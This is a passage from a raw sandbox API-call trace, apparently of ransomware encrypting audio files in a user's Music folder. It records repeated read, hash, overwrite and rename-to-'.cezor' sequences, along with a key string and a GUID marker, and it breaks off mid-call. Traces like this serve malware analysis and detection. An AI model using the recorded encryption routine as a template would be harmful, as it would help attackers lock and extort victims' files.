returned 1 [0060.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.308] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.308] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.309] CloseHandle (hObject=0x5c4) returned 1 [0060.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.309] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KbAGa_jf9A0p1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\kbaga_jf9a0p1.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KbAGa_jf9A0p1.mp3.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\kbaga_jf9a0p1.mp3.cezor")) returned 1 [0060.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.310] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0060.311] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f22d30, ftCreationTime.dwHighDateTime=0x1d4c85b, ftLastAccessTime.dwLowDateTime=0xa5e0b9d0, ftLastAccessTime.dwHighDateTime=0x1d4c701, ftLastWriteTime.dwLowDateTime=0xa5e0b9d0, ftLastWriteTime.dwHighDateTime=0x1d4c701, nFileSizeHigh=0x0, nFileSizeLow=0x73b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LgZcOmajdnsesY.m4a", cAlternateFileName="LGZCOM~1.M4A")) returned 1 [0060.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0060.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.311] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\LgZcOmajdnsesY.m4a") returned=".m4a" [0060.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\LgZcOmajdnsesY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\lgzcomajdnsesy.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.311] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=29620) returned 1 [0060.311] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.314] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x738e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.314] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.315] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.315] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.315] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.315] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x73b4, lpOverlapped=0x0) returned 1 [0060.315] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.315] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.315] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.315] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.315] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.316] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.316] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.316] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.316] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.316] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.316] GetLastError () returned 0x0 [0060.316] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.316] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.316] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.316] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x73b0) returned 0x3132418 [0060.316] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.316] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.316] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x73af, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x73af, lpOverlapped=0x0) returned 1 [0060.317] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.317] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x73b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.317] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.317] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.317] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.317] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.317] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.317] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.317] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.317] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.317] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.317] CloseHandle (hObject=0x5c4) returned 1 [0060.318] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.318] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.318] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\LgZcOmajdnsesY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\lgzcomajdnsesy.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\LgZcOmajdnsesY.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\lgzcomajdnsesy.m4a.cezor")) returned 1 [0060.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.318] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0060.319] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc6bb90, ftCreationTime.dwHighDateTime=0x1d4ce8d, ftLastAccessTime.dwLowDateTime=0xc300d8a0, ftLastAccessTime.dwHighDateTime=0x1d4d256, ftLastWriteTime.dwLowDateTime=0xc300d8a0, ftLastWriteTime.dwHighDateTime=0x1d4d256, nFileSizeHigh=0x0, nFileSizeLow=0x15bdb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nexJic6.wav", cAlternateFileName="")) returned 1 [0060.319] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.319] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0060.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.319] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nexJic6.wav") returned=".wav" [0060.319] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nexJic6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nexjic6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.320] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=89051) returned 1 [0060.320] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.322] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15bb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.322] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.323] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.323] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x15bdb, lpOverlapped=0x0) returned 1 [0060.323] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.323] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.324] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.324] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.324] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.324] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.324] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.324] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.324] GetLastError () returned 0x0 [0060.324] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.325] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x15be0) returned 0x3132418 [0060.325] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.325] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x15bd6, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x15bd6, lpOverlapped=0x0) returned 1 [0060.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.325] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15bdb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.326] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.326] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.326] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.326] CloseHandle (hObject=0x5c4) returned 1 [0060.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a418 [0060.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.327] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nexJic6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nexjic6.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nexJic6.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nexjic6.wav.cezor")) returned 1 [0060.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.327] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0060.328] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac75b60, ftCreationTime.dwHighDateTime=0x1d4d140, ftLastAccessTime.dwLowDateTime=0xd249dc90, ftLastAccessTime.dwHighDateTime=0x1d4d45d, ftLastWriteTime.dwLowDateTime=0xd249dc90, ftLastWriteTime.dwHighDateTime=0x1d4d45d, nFileSizeHigh=0x0, nFileSizeLow=0xe720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NN082DlMLC6MxmlQyS42.wav", cAlternateFileName="NN082D~1.WAV")) returned 1 [0060.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.328] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NN082DlMLC6MxmlQyS42.wav") returned=".wav" [0060.328] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NN082DlMLC6MxmlQyS42.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nn082dlmlc6mxmlqys42.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.329] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=59168) returned 1 [0060.329] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.331] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe6fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.331] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.332] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.332] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xe720, lpOverlapped=0x0) returned 1 [0060.332] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.332] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.332] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.332] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.333] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.333] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.333] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.333] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.333] GetLastError () returned 0x0 [0060.333] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.333] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe720) returned 0x3132418 [0060.334] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.334] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xe71b, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xe71b, lpOverlapped=0x0) returned 1 [0060.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.334] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe720, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.334] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.334] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.335] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.335] CloseHandle (hObject=0x5c4) returned 1 [0060.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0060.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.336] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NN082DlMLC6MxmlQyS42.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nn082dlmlc6mxmlqys42.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NN082DlMLC6MxmlQyS42.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nn082dlmlc6mxmlqys42.wav.cezor")) returned 1 [0060.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.336] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.337] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.337] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x533c6180, ftCreationTime.dwHighDateTime=0x1d4cd54, ftLastAccessTime.dwLowDateTime=0x8c92cc00, ftLastAccessTime.dwHighDateTime=0x1d4d342, ftLastWriteTime.dwLowDateTime=0x8c92cc00, ftLastWriteTime.dwHighDateTime=0x1d4d342, nFileSizeHigh=0x0, nFileSizeLow=0x179e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tbTKJ0ZxbS6wZlGEphR.wav", cAlternateFileName="TBTKJ0~1.WAV")) returned 1 [0060.337] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.337] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.337] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.337] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tbTKJ0ZxbS6wZlGEphR.wav") returned=".wav" [0060.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 